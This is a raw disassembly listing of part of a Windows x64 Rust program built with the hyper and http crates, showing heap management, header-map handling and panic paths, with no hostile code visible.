mov qword [rax + rcx*8 + 0x40], rdx
lea rax, [rsi + 1]
mov qword [rsp + 0x1a0], rax
mov qword [rdi], 1
mov qword [rdi + 8], rsi
mov qword [rdi + 0x10], rsi
mov rax, qword [rsp + 0x140]
test rax, rax
je 0x14002a5a9
mov rdx, qword [rsp + 0x148]
mov r8, qword [rsp + 0x150]
lea rcx, [rsp + 0x158]
call qword [rax + 0x10]
jmp 0x14002a5a9
mov rsi, qword [rsp + 0xf0]
cmp rsi, qword [rsp + 0xe0]
lea r13, [rsp + 0x160]
mov r14, qword [rsp + 0x48]
jne 0x14002a6bd
lea rcx, [rsp + 0xe0]
call fcn.1400312f0
mov rax, qword [rsp + 0xe8]
mov rcx, rsi
shl rcx, 6
mov qword [rax + rcx], 0
mov qword [rax + rcx + 8], rbp
mov qword [rax + rcx + 0x10], 0
mov qword [rax + rcx + 0x18], rbp
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
movups xmmword [rax + rcx + 0x20], xmm0
movups xmmword [rax + rcx + 0x30], xmm1
lea rax, [rsi + 1]
mov qword [rsp + 0xf0], rax
mov qword [rbx], 1
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rsi
jmp 0x140029d22
mov rsi, rdx
call fcn.140122cb0
mov rdx, rsi
jmp 0x1400293ab
lea r13, [rsp + 0x160]
mov r12, qword [rsp + 0xb0]
cmp r12, 3
jne 0x14002a77f
cmp qword [rsp + 0x280], 0
sete bpl
je 0x14002a9f7
movups xmm0, xmmword [rsp + 0x280]
movups xmm1, xmmword [rsp + 0x290]
movaps xmmword [rsp + 0x330], xmm1
movaps xmmword [rsp + 0x320], xmm0
jmp 0x14002acaa
movups xmm0, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x390], xmm0
movups xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x380], xmm0
movups xmm0, xmmword [rsp + 0xb0]
movups xmm1, xmmword [rsp + 0xc0]
movups xmm2, xmmword [rsp + 0xd0]
movups xmm3, xmmword [rsp + 0xe0]
movaps xmmword [rsp + 0x370], xmm3
movaps xmmword [rsp + 0x360], xmm2
movaps xmmword [rsp + 0x350], xmm1
movaps xmmword [rsp + 0x340], xmm0
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14002b804
mov rsi, rax
movups xmm0, xmmword [0x14016a500]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x14016a4f0]
movups xmmword [rax], xmm0
movzx eax, byte [0x14019f308]
mov edx, 0x60
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14002b982
movaps xmm0, xmmword [rsp + 0x390]
movups xmmword [rax + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x380]
movups xmmword [rax + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x340]
movaps xmm1, xmmword [rsp + 0x350]
movaps xmm2, xmmword [rsp + 0x360]
movaps xmm3, xmmword [rsp + 0x370]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea rcx, [0x140147138]
mov qword [rsp + 0x20], rcx
mov rcx, rsi
movabs rdx, 0x3a1269e06a43b7b0
movabs r8, 0xba98617365d62318
mov r9, rax
call fcn.140035640
test rax, rax
je 0x14002ac6a
mov r14, rax
mov rdi, rdx
mov rcx, rax
call qword [rdx + 0x18]
movabs rcx, 0x3a1269e06a43b7b0
xor rax, rcx
movabs rcx, 0xba98617365d62318
xor rdx, rcx
or rdx, rax
jne 0x14002a9fe
mov rbx, qword [r14]
mov rax, qword [r14 + 0x18]
mov qword [rsp + 0x40], rax
mov rax, qword [r14 + 0x20]
mov qword [rsp + 0xa8], rax
mov rdi, qword [r14 + 0x28]
mov rax, qword [r14 + 0x30]
mov qword [rsp + 0x48], rax
mov rax, qword [r14 + 0x38]
mov qword [rsp + 0x138], rax
mov rbp, qword [r14 + 0x40]
mov r15, qword [r14 + 0x48]
mov r13, qword [r14 + 0x50]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp rbx, 3
je 0x14002ac6a
test r13, r13
je 0x14002a949
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test rdi, rdi
mov rbx, qword [rsp + 0xa8]
je 0x14002abfd
lea r14, [rbx + 0x30]
jmp 0x14002a97f
mov rax, qword [r14 - 0x18]
mov rdx, qword [r14 - 0x10]
mov r8, qword [r14 - 8]
mov rcx, r14
call qword [rax + 0x10]
add r14, 0x60
dec rdi
je 0x14002abfd
mov rax, qword [r14 + 8]
test rax, rax
je 0x14002a960
lea rcx, [r14 + 0x20]
mov rdx, qword [r14 + 0x10]
mov r8, qword [r14 + 0x18]
call qword [rax + 0x10]
jmp 0x14002a960
lea eax, [rsi - 1]
mov word [rsp + 0x1b8], ax
lea rdi, [rsi*4]
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rdi
call fcn.1400f8ae0
test rax, rax
je 0x14002b991
mov qword [rsp + 0x3a0], rsi
mov qword [rsp + 0x3a8], rax
mov qword [rsp + 0x3b0], 0
cmp r15, 2
jae 0x14002aa32
xor r14d, r14d
lea r15, [0x14015c7e0]
jmp 0x14002aaa2
xor esi, esi
jmp 0x14002adfe
mov rax, qword [rdi]
test rax, rax
je 0x14002aa0b
mov rcx, r14
call rax
cmp qword [rdi + 8], 0
je 0x14002ac6a
cmp qword [rdi + 0x10], 0x11
jb 0x14002aa21
mov r14, qword [r14 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
jmp 0x14002ac64
mov ecx, 1
cmp r14, 8
lea r15, [0x14015c7e0]
jb 0x14002aa87
mov ecx, r14d
and ecx, 0x7ff8
mov edx, ecx
lea rdx, [rax + rdx*4]
inc rcx
lea r8d, [r14*4]
and r8d, 0x1ffe0
xor r9d, r9d
nop dword [rax + rax]
movups xmmword [rax + r9], xmm7
movups xmmword [rax + r9 + 0x10], xmm7
add r9, 0x20
cmp r8, r9
jne 0x14002aa70
mov rax, rdx
dec rcx
nop word [rax + rax]
mov dword [rax], 0xffff
add rax, 4
inc rcx
cmp r14, rcx
jne 0x14002aa90
mov dword [rax], 0xffff
inc r14
mov rdi, qword [rsp + 0x3a8]
cmp qword [rsp + 0x3a0], r14
jbe 0x14002aaee
lea rbx, [r14*4]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
mov r9, rbx
call qword [sym.imp.kernel32.dll_HeapReAlloc]
test rax, rax
je 0x14002b9c8
mov rdi, rax
mov rbx, qword [rsp + 0x1b0]
test rbx, rbx
je 0x14002ab0a
mov r8, qword [rsp + 0x1a8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x1a8], rdi
mov qword [rsp + 0x1b0], r14
mov rax, rsi
shr rax, 2
sub rsi, rax
movabs rax, 0x13b13b13b13b13b
cmp rsi, rax
ja 0x14002b9b3
imul rdi, rsi, 0x68
movzx eax, byte [0x14019f308]
xor ecx, ecx
mov rdx, rdi
call fcn.1400f8ae0
test rax, rax
je 0x14002b99e
mov rbp, rax
mov rdi, qword [rsp + 0x180]
mov r14, qword [rsp + 0x188]
test r14, r14
je 0x14002abb5
lea rbx, [rdi + 0x30]
jmp 0x14002ab9b
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x68
dec r14
je 0x14002abb5
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x14002ab80
lea rcx, [rbx + 0x28]
mov rdx, qword [rbx + 0x18]
mov r8, qword [rbx + 0x20]
call qword [rax + 0x10]
jmp 0x14002ab80
cmp qword [rsp + 0x178], 0
je 0x14002abd2
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x178], rsi
mov qword [rsp + 0x180], rbp
mov qword [rsp + 0x188], 0
cmp r13, 0x65
jb 0x140028cf2
jmp 0x14002b813
cmp qword [rsp + 0x40], 0
je 0x14002ac17
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
test rbp, rbp
je 0x14002ac4b
mov rax, qword [rsp + 0x138]
lea rbx, [rax + 0x38]
nop dword [rax + rax]
mov rax, qword [rbx - 0x18]
mov rdx, qword [rbx - 0x10]
mov r8, qword [rbx - 8]
mov rcx, rbx
call qword [rax + 0x10]
add rbx, 0x40
dec rbp
jne 0x14002ac30
cmp qword [rsp + 0x48], 0
je 0x14002ac6a
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, qword [rsp + 0x138]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x280], 0
sete bpl
je 0x14002adf6
movups xmm0, xmmword [rsp + 0x280]
movups xmm1, xmmword [rsp + 0x290]
movaps xmmword [rsp + 0x330], xmm1
movaps xmmword [rsp + 0x320], xmm0
test rsi, rsi
lea r13, [rsp + 0x160]
jne 0x14002acde
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14002b804
mov rsi, rax
movups xmm0, xmmword [0x14016a500]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x14016a4f0]
movups xmmword [rax], xmm0
movzx eax, byte [0x14019f308]
mov edx, 0x20
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x14002b804
movaps xmm0, xmmword [rsp + 0x320]
movaps xmm1, xmmword [rsp + 0x330]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
lea rcx, [0x140147118]
mov qword [rsp + 0x20], rcx
mov rcx, rsi
movabs rdx, 0x6aeec68dada02fa5
movabs r8, 0x25e793250c1de16c
mov r9, rax
call fcn.140035640
test rax, rax
je 0x14002adfe
mov rdi, rax
mov rbx, rdx
mov rcx, rax
call qword [rdx + 0x18]
movabs rcx, 0x6aeec68dada02fa5
xor rax, rcx
movabs rcx, 0x25e793250c1de16c
xor rdx, rcx
or rdx, rax
jne 0x14002adc3
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movaps xmmword [rsp + 0x3b0], xmm1
movaps xmmword [rsp + 0x3a0], xmm0
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x3a0]
test rax, rax
je 0x14002adfe
mov rdx, qword [rsp + 0x3a8]
mov r8, qword [rsp + 0x3b0]
lea rcx, [rsp + 0x3b8]
call qword [rax + 0x10]
jmp 0x14002adfe
mov rax, qword [rbx]
test rax, rax
je 0x14002add0
mov rcx, rdi
call rax
cmp qword [rbx + 8], 0
je 0x14002adfe
cmp qword [rbx + 0x10], 0x11
jb 0x14002ade2
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14002adfe
lea r13, [rsp + 0x160]
movups xmm0, xmmword [rsp + 0x1b0]
movaps xmmword [rsp + 0x3f0], xmm0
movups xmm0, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0x3e0], xmm0
movups xmm0, xmmword [rsp + 0x160]
movups xmm1, xmmword [rsp + 0x170]
movups xmm2, xmmword [rsp + 0x180]
movups xmm3, xmmword [rsp + 0x190]
movaps xmmword [rsp + 0x3d0], xmm3
movaps xmmword [rsp + 0x3c0], xmm2
movaps xmmword [rsp + 0x3b0], xmm1
movaps xmmword [rsp + 0x3a0], xmm0
mov rax, qword [rsp + 0x1f8]
mov byte [rsp + 0x40a], al
mov rdx, qword [rsp + 0x2a0]
mov word [rsp + 0x408], dx
mov qword [rsp + 0x400], rsi
mov rax, qword [rsp + 0x2b8]
movzx eax, byte [rax]
movzx ecx, dx
cmp ecx, 0x64
jg 0x14002ae9c
je 0x14002aeca
jmp 0x14002aebd
cmp ecx, 0x65
je 0x14002b376
cmp ecx, 0xcc
je 0x14002b37c
cmp ecx, 0x130
je 0x14002b37c
lea ecx, [rdx - 0x66]
cmp cx, 0x62
jae 0x14002b358
mov rax, qword [rsp + 0x260]
cmp qword [rax + 8], 0
je 0x14002b339
lea rcx, [rsp + 0x3a0]
call fcn.14005af70
cmp r12d, 3
jne 0x14002affd
mov rax, qword [rsp + 0xb0]
cmp eax, 3
je 0x14002affd
cmp qword [rsp + 0x100], 0
je 0x14002af27
mov r8, qword [rsp + 0xf8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0xd8]
test rdi, rdi
je 0x14002af85
mov rsi, qword [rsp + 0xd0]
add rsi, 0x30
jmp 0x14002af6b
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x60
dec rdi
je 0x14002af85
mov rax, qword [rsi + 8]
test rax, rax
je 0x14002af50
lea rcx, [rsi + 0x20]
mov rdx, qword [rsi + 0x10]
mov r8, qword [rsi + 0x18]
call qword [rax + 0x10]
jmp 0x14002af50
cmp qword [rsp + 0xc8], 0
je 0x14002afa7
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0xf0]
test rdi, rdi
je 0x14002afdb
mov rsi, qword [rsp + 0xe8]
add rsi, 0x38
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x40
dec rdi
jne 0x14002afc0
cmp qword [rsp + 0xe0], 0
je 0x14002affd
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x218]
mov r8, qword [rsp + 0x220]
lea rcx, [rsp + 0x228]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x280]
test rax, rax
setne cl
test bpl, cl
je 0x14002b04e
mov rdx, qword [rsp + 0x288]
mov r8, qword [rsp + 0x290]
lea rcx, [rsp + 0x298]
call qword [rax + 0x10]
mov rdx, qword [rsp + 0x260]
mov r11, qword [rsp + 0x258]
movzx r10d, byte [rsp + 0x33]
lea r12, [rsp + 0x3a0]
jmp 0x1400283d3
mov rsi, qword [rsp + 0xb8]
test rsi, rsi
mov r9, qword [rsp + 0x258]
je 0x14002b0ac
mov rdi, qword [rsp + 0xc0]
mov r14, qword [rsp + 0x168]
jmp 0x1400286dd
mov qword [rsp + 0xb0], 0
jmp 0x14002879e
mov rax, qword [rsp + 0x38]
mov qword [rax], 3
jmp 0x14002b446
mov rax, qword [rsp + 0x38]
mov byte [rax + 8], 0xb
mov qword [rax], 4
xor edi, edi
xor eax, eax
xor ebp, ebp
test al, al
jne 0x14002b1dd
mov rax, qword [rsp + 0xb0]
cmp eax, 3
je 0x14002b1dd
cmp qword [rsp + 0x100], 0
je 0x14002b10e
mov r8, qword [rsp + 0xf8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0xd8]
test rbx, rbx
je 0x14002b165
mov rsi, qword [rsp + 0xd0]
add rsi, 0x30
jmp 0x14002b14b
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x60
dec rbx
je 0x14002b165
mov rax, qword [rsi + 8]
test rax, rax
je 0x14002b130
lea rcx, [rsi + 0x20]
mov rdx, qword [rsi + 0x10]
mov r8, qword [rsi + 0x18]
call qword [rax + 0x10]
jmp 0x14002b130
cmp qword [rsp + 0xc8], 0
je 0x14002b187
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0xf0]
test rbx, rbx
je 0x14002b1bb
mov rsi, qword [rsp + 0xe8]
add rsi, 0x38
mov rax, qword [rsi - 0x18]
mov rdx, qword [rsi - 0x10]
mov r8, qword [rsi - 8]
mov rcx, rsi
call qword [rax + 0x10]
add rsi, 0x40
dec rbx
jne 0x14002b1a0
cmp qword [rsp + 0xe0], 0
je 0x14002b1dd
mov r8, qword [rsp + 0xe8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test dil, dil
jne 0x14002b2d8
cmp qword [rsp + 0x1b0], 0
je 0x14002b208
mov r8, qword [rsp + 0x1a8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0x180]
mov rbx, qword [rsp + 0x188]
test rbx, rbx
je 0x14002b265
lea rdi, [rsi + 0x30]
jmp 0x14002b24b
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x68
dec rbx
je 0x14002b265
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x14002b230
lea rcx, [rdi + 0x28]
mov rdx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x20]
call qword [rax + 0x10]
jmp 0x14002b230
cmp qword [rsp + 0x178], 0
je 0x14002b282
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rsp + 0x198]
mov rbx, qword [rsp + 0x1a0]
test rbx, rbx
je 0x14002b2bb
lea rdi, [rsi + 0x38]
nop dword [rax + rax]
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x48
dec rbx
jne 0x14002b2a0
cmp qword [rsp + 0x190], 0
je 0x14002b2d8
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x218]
mov r8, qword [rsp + 0x220]
lea rcx, [rsp + 0x228]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x280]
test rax, rax
sete cl
or bpl, cl
jne 0x14002b446
mov rdx, qword [rsp + 0x288]
mov r8, qword [rsp + 0x290]
lea rcx, [rsp + 0x298]
call qword [rax + 0x10]
jmp 0x14002b446
mov al, 4
jmp 0x14002b437
mov eax, 3
mov rdx, qword [rsp + 0x38]
mov qword [rdx], rax
lea rcx, [rsp + 0x3a0]
call fcn.14005af70
jmp 0x14002b404
cmp eax, 5
je 0x14002b37c
cmp eax, 7
jne 0x14002b48e
add edx, 0xffffff38
cmp dx, 0x64
jae 0x14002b48e
mov al, 1
xor edx, edx
jmp 0x14002b380
xor edx, edx
xor eax, eax
movaps xmm0, xmmword [rsp + 0x400]
mov r9, qword [rsp + 0x38]
movups xmmword [r9 + 0x60], xmm0
movaps xmm0, xmmword [rsp + 0x3f0]
movups xmmword [r9 + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x3e0]
movups xmmword [r9 + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x3a0]
movaps xmm1, xmmword [rsp + 0x3b0]
movaps xmm2, xmmword [rsp + 0x3c0]
movaps xmm3, xmmword [rsp + 0x3d0]
movups xmmword [r9 + 0x30], xmm3
movups xmmword [r9 + 0x20], xmm2
movups xmmword [r9 + 0x10], xmm1
movups xmmword [r9], xmm0
mov ecx, eax
xor cl, 1
movzx ecx, cl
xor r8d, r8d
test byte [rsp + 0x34], 1
cmovne r8d, ecx
mov qword [r9 + 0x70], rdx
mov byte [r9 + 0x78], 0
mov byte [r9 + 0x79], r8b
mov byte [r9 + 0x7a], al
cmp r12d, 3
setne al
xor bpl, 1
mov dil, 1
test al, al
je 0x14002b0db
jmp 0x14002b1dd
movzx eax, bpl
mov eax, eax
lea rcx, [0x140193110]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor eax, eax
mov rcx, qword [rsp + 0x38]
mov byte [rcx + 8], al
mov qword [rcx], 4
movaps xmm6, xmmword [rsp + 0x1ca0]
movaps xmm7, xmmword [rsp + 0x1cb0]
movaps xmm8, xmmword [rsp + 0x1cc0]
movaps xmm9, xmmword [rsp + 0x1cd0]
movaps xmm10, xmmword [rsp + 0x1ce0]
movaps xmm11, xmmword [rsp + 0x1cf0]
add rsp, 0x1d08
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movups xmm0, xmmword [0x140148580]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x140148570]
movaps xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x3a0]
lea rdx, [rsp + 0x50]
call fcn.14002cd90
test al, al
je 0x14002b525
mov cl, 2
cmp byte [rsp + 0x40a], 1
je 0x14002b584
lea rcx, [rsp + 0x3a0]
call fcn.1400330d0
movzx edx, al
not rdx
jmp 0x14002b37e
mov rax, qword [rsp + 0x38]
mov byte [rax + 8], 9
mov qword [rax], 4
mov rax, qword [rsp + 0xb0]
test rax, rax
je 0x14002b446
lea rcx, [rsp + 0xc8]
mov rdx, qword [rsp + 0xb8]
mov r8, qword [rsp + 0xc0]
call qword [rax + 0x10]
jmp 0x14002b446
lea rcx, [rsp + 0x3a0]
call fcn.140032cb0
cmp rax, 1
jne 0x14002b554
mov cl, 9
cmp rdx, 0xfffffffffffffffe
jb 0x14002b37e
jmp 0x14002b584
mov al, 0xa
jmp 0x14002b437
mov al, 9
jmp 0x14002b437
movups xmm0, xmmword [0x14015a3e0]
movaps xmmword [rsp + 0x60], xmm0
movups xmm0, xmmword [0x14015a3d0]
movaps xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x3a0]
lea rdx, [rsp + 0x50]
call fcn.14002cd90
mov cl, 1
test al, al
je 0x14002b596
mov rdx, qword [rsp + 0x38]
mov byte [rdx + 8], cl
mov eax, 4
jmp 0x14002b343
mov rdx, 0xffffffffffffffff
jmp 0x14002b37e
mov rax, qword [rsp + 0x38]
mov byte [rax + 8], 0xa
mov qword [rax], 4
jmp 0x14002b446
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rbx
mov rdx, rsi
call fcn.140122580
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rbp
mov rdx, r11
call fcn.140122580
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x80], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x150]
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x98], rax
lea rax, str.new_len____capacity_
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x50]
call fcn.1401224d0
lea r8, [0x140146c88]
mov rcx, rax
call fcn.1401225f0
lea r8, [0x140146c88]
mov rdx, rax
call fcn.140122990
lea r8, [0x140146c70]
mov rcx, rax
mov rdx, r9
call fcn.1401225f0
lea r8, [0x140146c70]
mov rcx, rdx
mov rdx, rax
call fcn.140122990
movq r8, xmm11
lea rcx, [rsp + 0x128]
mov rdx, rdi
call qword [rsi + 0x10]
mov rax, qword [rsp + 0x140]
test rax, rax
je 0x14002b7ae
mov rdx, qword [rsp + 0x148]
mov r8, qword [rsp + 0x150]
lea rcx, [rsp + 0x158]
jmp 0x14002b7ab
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheader_value.rs
call fcn.140122a00
lea rcx, [rsp + 0x68]
mov rax, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x60]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x1c0]
test rax, rax
je 0x14002b7ae
lea rcx, [rsp + 0x1d8]
jmp 0x14002b79b
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r15
mov rdx, rdi
call fcn.140122580
lea rcx, [rsp + 0x128]
mov rax, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x118]
mov r8, qword [rsp + 0x120]
call qword [rax + 0x10]
test r14, r14
je 0x14002b7ae
lea rcx, [rsp + 0x98]
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
call qword [r14 + 0x10]
jmp 0x14002b7ae
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
jmp 0x14002b7b5
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r15
call fcn.140122580
lea rcx, [rsp + 0x1d8]
mov rax, qword [rsp + 0x1c0]
mov rdx, qword [rsp + 0x1c8]
mov r8, qword [rsp + 0x1d0]
call qword [rax + 0x10]
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE_
lea r9, [0x14015d270]
lea r8, [rsp + 0x3a0]
mov edx, 0x17
call fcn.140122900
mov eax, 1
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x2a8], rdi
mov rcx, qword [rsp + 0x200]
mov rdx, qword [rsp + 0x2a8]
call fcn.140122170
mov ecx, 8
mov edx, 0x20
call fcn.140122190
lea r8, [0x140146c58]
mov edx, 0x64
mov rcx, r13
call fcn.1401225f0
mov qword [rsp + 0x318], rax
lea rax, [rsp + 0x310]
mov qword [rsp + 0x80], rax
lea rax, [0x1400318a0]
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x318]
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x98], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1encode.rs_r_n0_r_n_r_nC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnectdns.rs
lea rcx, [rsp + 0x50]
call fcn.1401224d0
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rsi
call fcn.140122580
lea r8, [0x140146c28]
mov edx, 0x64
mov rcx, r13
call fcn.1401225f0
mov qword [rsp + 0x110], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0xb0], rax
lea rax, [0x1400318a0]
mov qword [rsp + 0xb8], rax
lea rcx, [rsp + 0x110]
mov qword [rsp + 0xc0], rcx
mov qword [rsp + 0xc8], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x3a0], rax
mov qword [rsp + 0x3a8], 2
mov qword [rsp + 0x3c0], 0
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x3b0], rax
mov qword [rsp + 0x3b8], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1encode.rs_r_n0_r_n_r_nC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnectdns.rs
lea rcx, [rsp + 0x3a0]
call fcn.1401224d0
mov ecx, 2
mov edx, 0x20
call fcn.140122170
mov ecx, 8
mov edx, 0x240
call fcn.140122170
mov ecx, 8
mov edx, 0x60
call fcn.140122190
mov ecx, 2
mov rdx, rdi
call fcn.140122170
mov eax, 8
mov qword [rsp + 0x200], rax
mov qword [rsp + 0x1f0], rdi
mov rcx, qword [rsp + 0x200]
mov rdx, qword [rsp + 0x1f0]
call fcn.140122170
mov ecx, 2
mov rdx, rbx
call fcn.140122170
int3
push rsi
sub rsp, 0x80
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x140031c60
test al, 1
je 0x140031d58
test al, 2
jne 0x140031d70
add byte [rax], al
invalid
add byte [rax], al
add byte [rax + 0x48197508], ch
lea ecx, [rsi + 0x20]
test al, 8
jne 0x140031c9b
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x28], 4
lea rdx, [rsp + 0x28]
call fcn.1400354c0
jmp 0x140031cb3
test al, 0x10
je 0x140031cb3
mov rax, qword [rsi + 0x60]
test rax, rax
je 0x140031df4
mov rcx, qword [rsi + 0x68]
call qword [rax + 0x10]
mov qword [rsp + 0x20], 1
